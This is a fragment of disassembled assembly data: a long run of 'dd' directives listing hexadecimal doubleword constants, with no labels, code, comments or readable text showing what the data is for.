		dd 0C1E281EEh, 0D812C334h, 0BA2A61Fh, 0ACDBBA84h, 4051CBD2h
		dd 2A5F3FCh, 56386203h,	9851B268h, 634B60AFh, 0E93C0BE4h
		dd 0FDD98F2Dh, 9DA908A6h, 12F92C30h, 80415A90h,	0DEA81A0h
		dd 4CBCA304h, 15E068E9h, 0F0213F5Bh, 0F26453DFh, 0D8688216h
		dd 23B07141h, 31E9098Ah, 2FC131E1h, 52332DF0h, 0FE04D6D4h
		dd 5F35906Fh, 139F0A64h, 903646A7h, 0F7FC5407h,	3292905Dh
		dd 5770054Ah, 5AE1B280h, 0BF060BAAh, 2B8276C7h,	99149774h
		dd 0A5514Ch, 6230690Fh,	2C7022B9h, 22455891h, 8F5D4EA3h
		dd 0D3E90BADh, 0EE195AB0h, 4698497Eh, 75736F58h, 2FBB1E53h
		dd 0C6CE7490h, 0D3310A29h, 0E04EB25Ah, 0AF7830ADh, 143B7909h
		dd 24D5C7Ch, 69702FD9h,	2CC8661h, 0C4697529h, 0F9A3558Bh
		dd 555A136Ah, 0A62FB82Dh, 1DB44BE8h, 692C5E8Bh,	0AFCA6A5Ch
		dd 0C074024Ch, 4854EB1Dh, 294A070Fh, 8131384h, 11BADB3h
		dd 27A01CFBh, 33B826B7h, 0F3CA584Ah, 27054E4Ch,	81717230h
		dd 5A41636h, 0B6E21FFh,	77B3077Dh, 4C03C340h, 0BE07DD11h
		dd 0B239C326h, 5A0B3378h, 8305FA00h, 2F7CEBE9h,	933D7C29h
		dd 0CBE2E9C2h, 2124B645h, 0F0430A16h, 12479E68h, 65FB5B2Dh
		dd 74B792F2h, 0FFB56563h, 7B356320h, 2DCB39A8h,	9A845114h
		dd 0D34F826h, 306FB775h, 0F60F5E5Fh, 0A9FA01C0h, 8EC8907Ah
		dd 0E706967Ch, 0EC026483h, 3BBCF427h, 980D5885h, 9651E273h
		dd 5F7E6026h, 0E3051F76h, 7D15146Ah, 420CEC01h,	1882188Dh
		dd 53FE2EB0h, 23925AC0h, 2134B406h, 17425FFBh, 4FCFFDF4h
		dd 0C22B5B09h, 0A05AAB76h, 0C52A4D62h, 0B505001Ch, 51218530h
		dd 53012FB9h, 0E1C16491h, 7704103h, 5ACE270Ch, 265B054h
		dd 9D2D8680h, 89B930DCh, 153C5E26h, 415361E5h, 4C8C3A0h
		dd 0CEB541FBh, 2E058666h, 61104BCBh, 5AD03E3h, 129B7CA9h
		dd 0E70CEA16h, 0B2F24A24h, 6A50893h, 0BF6D7027h, 5C64C114h
		dd 0A7F3A524h, 5BEE6A50h, 0F1513519h, 91166ABDh, 0D0A01322h
		dd 71A9DAAh, 4BC897Dh, 8ABF8E94h, 4CBD48BCh, 0F368B0FEh
		dd 65FDBE20h, 0B17F0C01h, 0B53851C1h, 14E83D7Ch, 8B58C74Bh
		dd 0D20BD450h, 37518732h, 0D910584Ah, 0EA835F06h, 0B2B74B02h
		dd 2D445597h, 2F1F4520h, 0CFADDF7h, 6FA5860Fh, 0EC7E4A9h
		dd 2C8C9DEFh, 0AF4F7E6Ch, 8ABF0584h, 925CCABDh,	0B1C05364h
		dd 17FA7434h, 0E8ACE90Bh, 61BBD289h, 4E5FFE81h,	0E8FF27F1h
		dd 807ABF4Bh, 5B8015Ah,	0AD2B072Dh, 372A1BC1h, 0F0A8B252h
		dd 31AB57h, 4F27757Fh, 1F0CC107h, 208D473Fh, 0EAE20DC3h
		dd 3DED2A4Bh, 275E0840h, 8D509EE9h, 0F85105B6h,	0D621A752h
		dd 50FEA50Ch, 9CA4E9D0h, 9712692h, 0A890DADBh, 0FD0B6325h
		dd 8D1015Fh, 5A4608A0h,	28F167EAh, 73ADA23Ah, 0DE2590F4h
		dd 4B44D21Fh, 25D3A5B7h, 0AB9D8D53h, 89E1293Fh,	42D6E93Bh
		dd 854E5FC2h, 0ACB925BCh, 516B7738h, 71E8ADDAh,	2B117BAAh
		dd 0E97C0165h, 95580C48h, 0D99CE396h, 0CEE902C1h, 0BB4F002Ah
		dd 4AA25F73h, 92B86290h, 38FBBE02h, 0C14E1B54h,	5000C039h
		dd 3D5FCE68h, 56A33030h, 570B26F8h, 2D9C0B5Eh, 59987EFEh
		dd 0B534CD12h, 0CEDBF9Eh, 0EC1825E9h, 34DD010h,	0F7883CB7h
		dd 27107478h, 2D5B0222h, 7FB76F99h, 2C0778A8h, 56E1091Ah
		dd 0F39B0055h, 4FBE696Dh, 2DE4A814h, 0CAB8AE05h, 0D100B953h
		dd 0E95FDB5Ch, 0B5F0AB8Ah, 5256D840h, 126A3968h, 0F45A7BCEh
		dd 9512C35Fh, 0C2088431h, 5B5F0E28h, 6A421EEBh,	0E4B5236Ch
		dd 5A519172h, 0D90B6882h, 2ADEA20h, 317D2F32h, 0F997F4CCh
		dd 873C794Eh, 4E6DBEC4h, 34C26B75h, 0C39E5DD0h,	466132B5h
		dd 78AA2015h, 615BBB0Fh, 7B989EB1h, 4B8053Fh, 29960FB7h
		dd 5E468EC7h, 246870A0h, 6B2525D1h, 0D4789DF4h,	6901B42Ah
		dd 0C2140B04h, 0F9F85777h, 0CA6FC2B1h, 5E4BC30Ch, 0B3D6D2FDh
		dd 0C989F75Ah, 9E00D3D4h, 0F7413C23h, 0F1811FD9h, 78A90E3Fh
		dd 2FD8C9C0h, 1E983062h, 8ED04C05h, 0FEC05141h,	4A7E2EE8h
		dd 0BF4BD410h, 0F790E82h, 888388F6h, 0A4CFA05Ch, 335E641h
		dd 5EC1C714h, 0AA840B39h, 0D35C037Ah, 7821C1E0h, 82B3272Fh
		dd 95547BD2h, 0ADF654C5h, 4FE77A13h, 0A212C0E5h, 37E29241h
		dd 4D688706h, 3B20AF56h, 7542B7F7h, 73BA8380h, 67007C05h
		dd 0B93861BEh, 9AD629C4h, 504994D3h, 81B7F7E9h,	51F268F9h
		dd 3B0EEA58h, 0C15A7B22h, 0BDC444h, 430C9BAh, 0E2C11FB8h
		dd 0F350C303h, 0E7811D00h, 5F51644h, 4149B84Fh,	0B0163A32h
		dd 68CE5CB6h, 0E9644C29h
		dd 21A8DA83h, 61B56CF8h, 0A4D5E984h, 0A1C94838h, 29B06F8h
		dd 4FFA1128h, 0D10EDE07h, 0AE2081E1h, 0F80AAF41h, 93165B8Bh
		dd 0C2C28E28h, 5B097D50h, 840CE8C1h, 0DF45090h,	0E39B5D4Eh
		dd 1E302576h, 7A586EB1h, 4FE91038h, 0F809915Ch,	10733C5Fh
		dd 303DEE43h, 0A5885B1Eh, 0C8F8B54Ch, 92986CBDh, 0DB30B51Eh
		dd 3ABD59CAh, 0B797008Fh, 48D3E908h, 0EBA45EAFh, 0E75C7E03h
		dd 0E8E2E00Ah, 4E632607h, 47451F44h, 63C1056Bh,	0C2D24A08h
		dd 564CA060h, 35BC6812h, 840184A3h, 0E971C649h,	6826DFE5h
		dd 725544Dh, 45E92980h,	0E9560485h, 31BFE0B8h, 0AE01F04Fh
		dd 95764C3h, 44230C82h,	0DF871EFh, 662FDC27h, 0B15109D4h
		dd 50402898h, 308084D9h, 0B05A7BF3h, 0EA2C3813h, 11A7F83Fh
		dd 83BCFCF8h, 0CD8600D2h, 0B047742Ah, 0B2DE5E6Ch, 7A464C12h
		dd 6BF4055Eh, 22FA1D1Bh, 0BC5AB4F8h, 18C25FDEh,	22E5AA15h
		dd 0AC917B12h, 4F7E3147h, 0B18189ABh, 40EFC136h, 4703E7AFh
		dd 23C78102h, 7EF253A1h, 34C297B9h, 589DFB6Ah, 0AB13B522h
		dd 0A45340F8h, 0C17F7216h, 0B503ED2Eh, 1C1ACA03h, 0EBE5B05Dh
		dd 0C166F62Bh, 0FD15D40Ch, 82F5F03Bh, 20736CB0h, 0CCE9EF0Bh
		dd 4B26FCF7h, 548893E5h, 89501DDAh, 0AD1D8F2h, 925C7C8h
		dd 6A165517h, 0F3E4009Fh, 5B95E871h, 2B70F193h,	0F1E98088h
		dd 0C3282B8Bh, 0ABDAA743h, 990107h, 235E637Bh, 5842FA3Ah
		dd 0D82B5B4h, 0D8784875h, 0A25B5E90h, 4C6DCCCCh, 12B5DFACh
		dd 1B3008CEh, 0D36CD8BEh, 7CFCE505h, 1967BE9h, 111FD26Fh
		dd 9190A014h, 38580881h, 0D6E9A18Bh, 43FB0C7Ah,	0AC00A13Ch
		dd 0DF09E0E5h, 0C1D7F75Bh, 616D2ED2h, 7CA12128h, 0D2BE0E4Dh
		dd 8152E023h, 0A54F9E6h, 0DEF71134h, 595B03B6h,	0EEF061B7h
		dd 4825BDC3h, 31D3D8BBh, 21B27EC1h, 2526DDC8h, 0C1D7617Dh
		dd 596600EEh, 7A09050h,	45C98081h, 0C07F6C0h, 97A0C65Bh
		dd 0F69E7EC1h, 0C888033Eh, 3E0C059h, 14270648h,	0DFF0A109h
		dd 0F44192FCh, 0E98588CAh, 9501D597h, 1899F229h, 0BD41C393h
		dd 74060469h, 0E8EF2141h, 0BAA1D3F2h, 0C62430h,	516C8E44h
		dd 2B03D768h, 0F3597A2Ch, 3954EC02h, 4546006Eh,	61975E4Dh
		dd 816A09D3h, 481B0426h, 4716ACE4h, 180BCEE6h, 14DF9020h
		dd 0D3018074h, 0D8E426D3h, 5103985Ah, 40E20ED2h, 60E0FE9h
		dd 0EF8138F2h, 0D8B00D0Dh, 6F31D402h, 60F3292Fh, 2C21C36Eh
		dd 179A0D2Ah, 10420CFBh, 0A40CEE89h, 0C63533Bh,	1EFE132Eh
		dd 0E99B0578h, 4CB0BDCEh, 7990A50Bh, 19C4936h, 0B6CEBE64h
		dd 0D5019B63h, 4E607C59h, 2CC4DAFCh, 0CF800315h, 2FF79898h
		dd 94FA4C30h, 7CE97D0Bh, 0E058C827h, 0C6FE61CEh, 0B913EEEAh
		dd 0AA03F028h, 92D04C8h, 91F6E987h, 7AD4B029h, 5D0F8A39h
		dd 0E101C46Dh, 23E008C8h, 1443C370h, 8B07E278h,	8F59771Ch
		dd 1296311Fh, 0F619C2DBh, 56E6A2DFh, 91F41A73h,	220FD314h
		dd 83AD1447h, 0F05D97Fh, 0E47EFD84h, 451262E8h,	241E16AEh
		dd 65B720C4h, 6B9082AFh, 5E02B8A9h, 0B25FD138h,	475CABCBh
		dd 85E98541h, 779BE4CCh, 72201613h, 0F5846ACh, 0FB2D0601h
		dd 6E7C991Dh, 0C84A17CFh, 0BB5FD9Bh, 981451Fh, 0D0F0ED83h
		dd 175B4E95h, 0BD981E8Ch, 889038Ah, 73290E1Dh, 440AAB43h
		dd 25E91822h, 6DC5DF7Ah, 6B005716h, 13BF6523h, 8A172DE9h
		dd 582E2146h, 48C2A8B7h, 7C08AA7Bh, 0D9302417h,	144F72A6h
		dd 0C3FE0116h, 163B0841h, 4BDF095Fh, 0E09AB09Bh, 5045EECh
		dd 15AC0CDEh, 12EF84AFh, 212C0407h, 9BB9009Dh, 6F5D45h
		dd 684B802Dh, 5C82969h,	2E1007A3h, 0B6439794h, 7B9FD322h
		dd 0C920431h, 9100AEE4h, 1929BBF7h, 0F5E9256Ah,	4E76B60Bh
		dd 3E8EC660h, 0C3C60C9h, 79A11B2Bh, 7B36E917h, 0C3108CCAh
		dd 0FAACD2ABh, 7471E5B1h, 249CC87Ah, 7412DBA4h,	64E05889h
		dd 46E495B5h, 372B9DA0h, 0C015D30h, 7F0DFDC7h, 52F55829h
		dd 9598AC20h, 39EEA536h, 799695EAh, 0B52465F8h,	0CA080E69h
		dd 0ED5825FCh, 0B7CE1005h, 63EA31F2h, 744E5348h, 42EEA1D5h
		dd 4FE95E86h, 5D4B0078h, 54B214BCh, 647034F6h, 36AB971Ch
		dd 8AA2B754h, 4F61599Dh, 0E9DDADC5h, 12713C8Bh,	6824DA3Bh
		dd 4B6D8A0h, 1614F33h, 41AFF374h, 2AAA9A0Ch, 290C163h
		dd 0F1060353h, 9A50BDB5h, 75295DEAh, 0F2D64BF2h, 0C9C6C0F8h
		dd 6071E617h, 8BBB0E46h, 869D5362h, 0FA658000h,	252CB8F5h
		dd 0EEE17091h, 0DEF10289h, 0B4F82DABh, 0DD03A8DEh, 0B716EC1Bh
		dd 96F556F0h, 0BA43BD0Ah, 24003EFFh, 0EBC1421Ah, 0E270AACBh
		dd 0ADC60F81h, 0D830632h, 5F226866h, 4BE52A5h, 0A897F073h
		dd 92CC8B1h, 0F540AB0h,	7AAF7469h, 593EBA77h, 85BB42D9h
		dd 0E19E3354h, 72E5630Bh, 684E0995h, 0EED47675h, 91D77C2h
		dd 7A3B8F03h, 0FB291C88h, 880B3B0h, 95613CE9h, 25856848h
		dd 41CF342Ch, 432F9F42h, 1C6D30F4h, 7CEEA06Ah, 3057460Bh
		dd 85BA0921h, 5BE4ACDAh, 0F05A1783h, 4203E110h,	6EDC5F72h
		dd 0C9107724h, 5DEB84Fh, 0E1D9F092h, 0BB618CAAh, 502620B5h
		dd 3E6C88B8h, 4A7E5366h, 7881B2A6h, 7ABA542Fh, 0D290FC0Eh
		dd 0E966E57Fh, 3FC735DCh, 2E4BB05Eh, 27A5219h, 0AC401AC2h
		dd 53D00175h, 8B7D0882h, 0A571C53Eh, 0B788AE71h, 0B2B43A6Fh
		dd 71EDAC0Bh, 9712D73Dh, 0CA380772h, 436599C2h,	0CFEA5756h
		dd 68EC1B70h, 0E5730F25h, 0EEE90932h, 0EF01A772h, 4CA05F66h
		dd 3C31F701h, 0DE5E0802h, 0A520658Dh, 2E6FFD4Bh, 0B7650228h
		dd 1E70372Bh, 0DE8E5E4Eh, 0DF52205Eh, 0A65261E9h, 2D916BDh
		dd 0D32DEDD0h, 7B853E67h, 0EA245712h, 18601539h, 0DC281379h
		dd 316FF10h, 63A30746h,	0E068B5A8h, 0F4276737h,	796D054h
		dd 179AD4Bh, 854EEE9h, 0F92ED348h, 4ADA101Ah, 5C7D07A0h
		dd 0D2A16D80h, 6EDA1114h, 3863BF04h, 0F6E7E9C5h, 4FD2B628h
		dd 0D4A55ACAh, 26E8AF8h, 42685F54h, 0A1C0F940h,	0E80297F6h
		dd 58AEA6BBh, 16943D5Fh, 2B66DD5Bh, 9FFAF53h, 45F13945h
		dd 3C5D9782h, 0FBBFC110h, 37C8D507h, 0C15DE257h, 525863A1h
		dd 169A2254h, 0DDF2BF8Ah, 450F2824h, 0E88A5250h, 0F374076Ah
		dd 267C12Fh, 0CEAB06E2h, 53520074h, 0F44AA868h,	931C5B61h
		dd 81E4D0F7h, 0DD17AD1Ah, 0E45B94ABh, 0F268E9E1h, 2EE77D81h
		dd 310DDC51h, 2141F423h, 132668FFh, 9AA1C25h, 0F2624967h
		dd 77FDC2D5h, 4AE1BF38h, 0FBB75301h, 6BE9C7FEh,	1058297Ch
		dd 0D24809E2h, 58725B5Ah, 96A72052h, 3B4A812h, 0BB02FF92h
		dd 91B821A4h, 6A515F19h, 59CD0F31h, 0CFA72C6Ah,	280B6FBCh
		dd 0CD2186FEh, 0C5F605FBh, 0BD429D5Ah, 0AE033A15h, 22425ADEh
		dd 4953FE9Ch, 0D982B177h, 0E25C9996h, 7A871094h, 38BA454Eh
		dd 0E3F404C1h, 0CB28BA09h, 951F6F6h, 0F53107B1h, 25A9165Dh
		dd 0E7EC5DE8h, 27A90720h, 0F050C680h, 17D659B5h, 209FB506h
		dd 4401ED67h, 0D15F329Ah, 2130F7EFh, 31F540ABh,	0D589D2A0h
		dd 9AFBE80h, 12F0371h, 12D9B2DFh, 143E8847h, 0F1084124h
		dd 10B90026h, 0BA17191Eh, 0A15C7E01h, 0E9CA298Ch, 462AC9DDh
		dd 0DB7A980h, 28FABAC5h, 7F211DEBh, 0B8D06D16h,	0C001CB0Dh
		dd 98D92921h, 5AF4073Bh, 975B6441h, 0B5FC82CDh,	0DBE38902h
		dd 262B2C11h, 221716C3h, 0EB57C70Eh, 0EACFFBEBh, 0B5DFD008h
		dd 0C1B15750h, 73DF9C0Dh
		dd 0B7D89A34h, 2BD3BBE0h, 5A6D1C26h, 74592600h,	9ED813Ah
		dd 18137C51h, 0A81C608Fh, 19585A08h, 2005064Fh,	790322A7h
		dd 0FAE92193h, 0F0957ED7h, 42633B4Ch, 39E4E500h, 56E90C49h
		dd 0A53F5196h, 0C027FEEAh, 786EE281h, 4A85794Ah, 0AE06752h
		dd 74981F4Eh, 7B7A09F8h, 0CA7731EAh, 8D6BF6C5h,	2F5DEE27h
		dd 9D6B2F2h, 7B1107D7h,	0BB00C6ACh, 4BDA71D9h, 5E91BC77h
		dd 40D8E593h, 0B050E62h, 49B761B1h, 0AA2F3C58h,	9375590Ah
		dd 0BA1C563Eh, 0D32BAB29h, 13943943h, 0C33931BFh, 8B332C6Bh
		dd 17887B53h, 21840B47h, 77998440h, 9DD9F680h, 147CFCD2h
		dd 458A1C27h, 7AE03E4Ah, 506672B7h, 8AAB013h, 8009F2E8h
		dd 608EBEE7h, 0E8DAF7A4h, 0FC88A066h, 0F3E91651h, 0DEDABC05h
		dd 74685082h, 418770Fh,	1F0EB4D6h, 0E64C480h, 8BBABCECh
		dd 90E58859h, 80D8A705h, 41BDC2FEh, 826F2CCEh, 0ADCB94B3h
		dd 0B2555FEAh, 1879716Ah, 10BE89FDh, 6BB1701Fh,	0BF5E51CFh
		dd 0BE217ED2h, 0E105CFC2h, 2B427F59h, 4194BAB7h, 9725DBD4h
		dd 2D928E2Eh, 50680086h, 0BF5751h, 20D07A3Bh, 0F4E36CB9h
		dd 0A3EC565Ah, 96D3B801h, 3E01C9DBh, 0E9C313C1h, 0A66326F9h
		dd 497B7759h, 0B202610Fh, 5E2C036h, 32D2F341h, 10873C03h
		dd 0B7EE545h, 65C23CC8h, 5329965Eh, 71EDD31Fh, 0AD92BC9Ah
		dd 2D1A33CAh, 7AAB1ED3h, 7059028h, 0FB093391h, 51BBD628h
		dd 0B4D92F9Ch, 0BAB3137Eh, 0C268B460h, 0A9C69F5Bh, 824A8FB0h
		dd 7171CEB4h, 2109004Eh, 15055AD0h, 6075A847h, 799DF302h
		dd 5EC201C5h, 56106CF4h, 41D8E925h, 0F02E28C0h,	155F884Ch
		dd 5130A2E5h, 5446F453h, 3D4393FAh, 0B3005166h,	80AEB57Ch
		dd 0DDE0D4EDh, 7EAA0D90h, 0F02B3C7Fh, 980E92B9h, 166D2526h
		dd 7FE9F6FCh, 6812B616h, 65BB7B85h, 131E00B5h, 0E91DB131h
		dd 0FF970B2Ch, 782C5669h, 0A9738E9h, 91089FA8h,	9C1A2870h
		dd 565D1852h, 962DAA3Fh, 4CBA78ABh, 0BBA08E89h,	5E17286Eh
		dd 0B188311Ch, 2A754D61h, 0C062BD4Fh, 3118E8C1h, 92591C8h
		dd 1D51FC0Dh, 0DFEE844Fh, 0B60731FEh, 0E1F0C1CCh, 48CB665Ah
		dd 6FA3A23h, 53D8F6A0h,	0C1C6010h, 402E8C0h, 0C388D00Eh
		dd 0E9851E58h, 9D9023B6h, 4E1150C5h, 7D0C475h, 8479DCD6h
		dd 0D77A857h, 846C83E9h, 76F77041h, 2EEB8901h, 8A6B16A1h
		dd 555819A1h, 0EE04E8D2h, 0F2E86D17h, 107BE3E5h, 614ACF27h
		dd 3EDD7F9Bh, 4B4BD4E7h, 9A52AE28h, 4E78CE12h, 0DDC0D416h
		dd 3F68D3E6h, 9737BC6h,	340F0114h, 2A0196DEh, 21DFC732h
		dd 8E3E0B6Eh, 95F5F529h, 0BDCA0B2h, 0F6D1E908h,	4F5A7310h
		dd 188BE548h, 0C2F3B31Ch, 3271B558h, 1C685C40h,	601A9602h
		dd 59153318h, 6C5EE2FAh, 650257A3h, 21601F29h, 0AE338DC0h
		dd 5209819Ah, 88C4B2h, 80AD04ECh, 283B26C3h, 0A2751575h
		dd 0E49A5030h, 387CF36Ch, 7A33C53h, 6ACB781Dh, 59D6BCB2h
		dd 0F545A717h, 0B8E6A639h, 0FC3CAD07h, 55D7F722h, 2013AD85h
		dd 7E5CEB9Bh, 0B2DBF83Dh, 0D45D3F09h, 42E493E4h, 5BDA21BEh
		dd 0A6EAFC69h, 6800777h, 0D1685251h, 163C0558h,	0FC202BE9h
		dd 7951CBE2h, 0FCE7622Fh, 20478F01h, 532402E1h,	242D1D5Dh
		dd 9EA2CE0h, 0C89BD398h, 2A25AE0Eh, 99294AA6h, 571A9E0Ch
		dd 226813E2h, 7C85CC16h, 55A473Eh, 0B4CDE94Bh, 78959767h
		dd 0BAB756h, 50B5519Eh,	0C00EC5FEh, 698008E5h, 0EF88819Dh
		dd 22BBDE9h, 66A4689Dh,	875D6E48h, 56C9199Fh, 5AC2CB6Bh
		dd 33B521ACh, 0B34EAB90h, 9A09EDE2h, 9002F930h,	5906D27Fh
		dd 0D0D081B5h, 0BD80786Ch, 72FC1310h, 0E90BA0B4h, 0D7212E58h
		dd 9C9AAACh, 673A16C8h,	0B4FAABCh, 0D2EA4247h, 0F9F73D49h
		dd 9418EF98h, 589D2E2Ch, 1920E98Fh, 0C335806Dh,	32B75B17h
		dd 0F685EA85h, 2D7F12FAh, 125162FAh, 0CF8CB054h, 6889773h
		dd 4625A8Eh, 72EBE540h,	0E9023604h, 580F9134h, 53373E65h
		dd 0A4120816h, 6C0BA82Ch, 0A2D59EACh, 611A7C0Eh, 5898AFE9h
		dd 681353DDh, 0DDCA3B10h, 0BC4A6742h, 0A50E17E9h, 41769F98h
		dd 0BBB3DACFh, 81BBF2E1h, 0AE3CEA93h, 0C23EED51h, 0BED058E8h
		dd 0FDB0B06h, 1555D085h, 5D5B8D68h, 845FA84Ch, 0B9CAEB33h
		dd 9A18307Eh, 40D0F71Ch, 284E2D09h, 0EBF982DAh,	867F0973h
		dd 93E4F51h, 0FD3ED411h, 4B71338Bh, 8E20B120h, 4AF89DFAh
		dd 74C7A02Dh, 7A11785Eh, 0E2A81891h, 3B012DD3h,	0EDA70B8h
		dd 0C2CDB22Eh, 0C3D18851h, 0CB50976Bh, 0B1ADFAE9h, 177D4998h
		dd 85908B2h, 79209128h,	0F18604E2h, 0C610B450h,	0EE811519h
		dd 9E323D2Ch, 0E56D4A7h, 31C36E39h, 0A9D2E9C2h,	77642B57h
		dd 0D66B062Fh, 0B073FA9h, 2898FF8h, 0F19FE11Ch,	64E9098Fh
		dd 31BEC8A0h, 1B58FA10h, 0ADC15B72h, 0EAC8E588h, 25585D59h
		dd 42CA8083h, 532DE298h, 243B726h, 0FA202804h, 0E4FFBC04h
		dd 0FC3FEA43h, 1225FBF7h, 0C15C136Ch, 0F165D968h, 4418796Eh
		dd 8BD5E8ADh, 25EF7C99h, 559865C6h, 91AD6A4Bh, 79937189h
		dd 0ED4AF5E5h, 0C4A33F06h, 0AB742E18h, 76FE3C77h, 97941759h
		dd 435EEBB9h, 606D4347h, 0A674ABF4h, 0AE90C06h,	967EE370h
		dd 0FEE82380h, 3D8A4E0Ah, 522D1A5Fh, 62E9128Dh,	23E4E4D1h
		dd 0E0831367h, 66F9AAD5h, 10C1F102h, 0A2DD18E7h, 5E95754Ch
		dd 0BD434AE9h, 92BD43A4h, 6482775Dh, 26DDBF84h,	64962557h
		dd 91EB5865h, 0A889568Fh, 3DAC0241h, 65385C4h, 0C44E32F3h
		dd 742ECE9h, 20F6317Ah,	9555869h, 15E37926h, 12883784h
		dd 68C456EDh, 3A915637h, 706C53A8h, 134551B2h, 0CFB65998h
		dd 72070433h, 0A783BFE9h, 4A248FEh, 7D030D4Fh, 0F7CE2DC7h
		dd 0B3C9260Eh, 446BE72Dh, 0E9CA23AAh, 9D0339F7h, 0F38302CBh
		dd 6D9882Fh, 3FE955C3h,	0C507738Fh, 5CE07EE4h, 1335ED60h
		dd 5C417C2Fh, 0FB18B4CDh, 7E5F1833h, 0E91773ECh, 0BFEDF2B3h
		dd 0F3C83713h, 0D3AF101Dh, 7EAF05Eh, 9002835Dh,	0DB6F29CFh
		dd 3C49C300h, 50F72988h, 950EF5D3h, 599C2E6h, 0FBD914BFh
		dd 59E592F6h, 68CA42A5h, 1E66A477h, 3D7453E1h, 0F4D441A5h
		dd 75BC6374h, 0C8AF5865h, 1DC0668Dh, 713F88BEh,	89511F52h
		dd 8C274CF1h, 94A0ED79h, 95FFED6h, 9EA8C121h, 7D00A04h
		dd 1E0A08CFh, 2E1C652Ch, 0C7B6F5CEh, 67E505C5h,	395C4EB0h
		dd 0CE34F130h, 9409C508h, 725987ABh, 9D56969Bh,	92F1DC97h
		dd 0CCECF22Eh, 4C8A8589h, 4D34FC2h, 816A176Ah, 81ED87D0h
		dd 4BA0F73Fh, 302C3B75h, 8266592Dh, 0E61AE91Bh,	3BBCA445h
		dd 2E7C9F5Eh, 5805022h,	5A06643Eh, 96049E59h, 5D1A40AFh
		dd 0B951C601h, 56252FEAh, 8111DE68h, 770753C9h,	7CD1DD3Eh
		dd 0CB7E0155h, 0CE01FA48h, 396ED121h, 0BE72CA9h, 80802EFh
		dd 0F93FF5EDh, 4678332Dh, 0C54C0B06h, 871130Eh,	28154F37h
		dd 39FA1DFAh, 8E277C2Fh, 0FAFC94E9h, 0A69FBF45h, 50010609h
		dd 1C36B79Fh, 4C9B4B2Fh, 9D73B56Fh, 227F6886h, 926C272Fh
		dd 0D782FDCEh, 0F7250D78h, 0B9F520DAh, 506C5B67h, 0E309A12h
		dd 4924AF33h, 0F100A334h, 0B46DFB72h, 9AACCA31h, 0B7B97097h
		dd 0A056DD3Ah, 4F4AE669h, 0A96217D0h, 0AA3E987Bh, 17F60024h
		dd 3D5FE781h, 0F7261670h, 2C029AD7h, 5A4F211Ch,	7E23B53h
		dd 0D729C78Bh, 0CB098A84h, 0DF984A53h, 280B853Ch, 929C5F71h
		dd 0DB956EFCh, 20C16480h
		dd 9C79FD68h, 6482680Eh, 0BCEA84C1h, 1081579Bh,	3124B958h
		dd 667AAD07h, 5160239Eh, 0FE806DB1h, 0CC881785h, 25BDA859h
		dd 1000221h, 4A0D64EBh,	2DA1C283h, 5D50B6DAh, 7028E59Bh
		dd 0E204A946h, 2E8909BFh, 0F5B0FA82h, 0CAFF9F9Eh, 0D3E30E55h
		dd 4E414BDh, 0FFF6F566h, 346A4629h, 891B82D3h, 57D6F700h
		dd 0E5680453h, 0EB2DDA41h, 89E46C13h, 107F1323h, 5A28F827h
		dd 80346E1Ah, 8AC3F65Eh, 0F02905BAh, 44AF4FE9h,	0C05EF583h
		dd 6AF6E31Ah, 0EE1221F6h, 0ACB5E9h, 48CEB9A0h, 0C4E0B2Eh
		dd 4EB1902Ch, 0C02B405Eh, 64BD555Dh, 27F98617h,	0ED17F8FDh
		dd 6A2F20BCh, 377B512Bh, 17D2E671h, 5E4D0F02h, 79C14058h
		dd 5712274Bh, 8A04F54h,	51141CD0h, 0F18F3B9Eh, 59C8657Ch
		dd 7BA2F9EEh, 0C31D514Bh, 0A60474Dh, 0B2ABD63Ah, 35127112h
		dd 0C53E21BEh, 0AF0FC99h, 660BACB0h, 7512E42Eh,	0EE0CB227h
		dd 0E9014EFEh, 0FCC0A02Bh, 68135E2Ch, 68BF26B3h, 6695519Ah
		dd 8ED29D99h, 49F9620h,	0CC0793B9h, 271FC271h, 0C124C1E0h
		dd 63BFE17Bh, 0FE791C4h, 72F3BA00h, 603FD92Dh, 35DD4EACh
		dd 854C944h, 5516C541h,	0AB4B36E4h, 89CB82C2h, 0A0B15CC9h
		dd 407995A4h, 0C49A2B42h, 355B1C45h, 0BB53872Fh, 85F3256h
		dd 0B6E93740h, 8144EA5Eh, 0D104B371h, 8A89C9E2h, 0B79D5DB0h
		dd 0C70EC8A0h, 0C07D8C39h, 827FA4CEh, 6A0CC04Fh, 0E92B9C02h
		dd 0A2027A4Bh, 0C2CC2CACh, 0F100D715h, 5BFE88ECh, 4FCE8013h
		dd 0C9B42CF4h, 2FFADB06h, 0E245D84Ch, 8EE6558Ah, 6E5DF1F0h
		dd 0F8EF3C03h, 10D31C75h, 0D739780Bh, 0CAC86A9Bh, 2717786Dh
		dd 0EFE04D5Dh, 7ED503EDh, 0EF89D6D8h, 4693C1E5h, 21F717D1h
		dd 580B4007h, 920B3188h, 2678575Dh, 62FFD60Dh, 9694AB2h
		dd 533C7F5Eh, 1F681650h, 1AA26055h, 9195611Bh, 18AF8B32h
		dd 0EF48D3E2h, 30E54091h, 66182545h, 0EE787B74h, 4BC6242Dh
		dd 0D8F78FE1h, 5E82EC01h, 1C843EB1h, 540C85BFh,	0F602DF35h
		dd 0B726E948h, 0BBD120FDh, 0F4B470D5h, 67E30581h, 0A823A329h
		dd 0A63F3E59h, 2F034F1Eh, 603EED6Ch, 6D1DC024h,	0CA2DE943h
		dd 0CF187CFDh, 0ED5E7344h, 0A1C302D2h, 0D001270Ah, 7C142E6Ch
		dd 70A742BAh, 56D1F700h, 450B3DBEh, 5F9615BEh, 0E6A1D0F5h
		dd 3790CA77h, 332BEE02h, 0F7506198h, 12A78341h,	753FE1E8h
		dd 20869D6Fh, 35809196h, 0EE2D036Ah, 58C32118h,	3B6C8A20h
		dd 5AA5BDB1h, 7B5FBCC1h, 0DDB9FD62h, 0CEF789C6h, 1622B357h
		dd 80B0E90Dh, 586EB951h, 6195D751h, 420DA540h, 537076BFh
		dd 64E9670Bh, 9612117Bh, 59C6842Ah, 7E2066h, 0B1133068h
		dd 9BCAEBB9h, 3D7033C1h, 81CFD042h, 72E9F1F6h, 0BA368175h
		dd 358EB803h, 6CF03842h, 2C38EDD1h, 77C4DFE9h, 1053CBEBh
		dd 5C2DA1BCh, 0D4F852E6h, 9883AF9Dh, 0D3617793h, 7006E612h
		dd 4148D076h, 0CB805AE4h, 4323AB9h, 0CE213BB4h,	0A0BAC059h
		dd 5790251h, 0D5B0B5B8h, 63ADC200h, 0E9CE29E6h,	13819504h
		dd 2142C4BDh, 9BA02A9Bh, 7DCA2825h, 49E925F3h, 637D30C2h
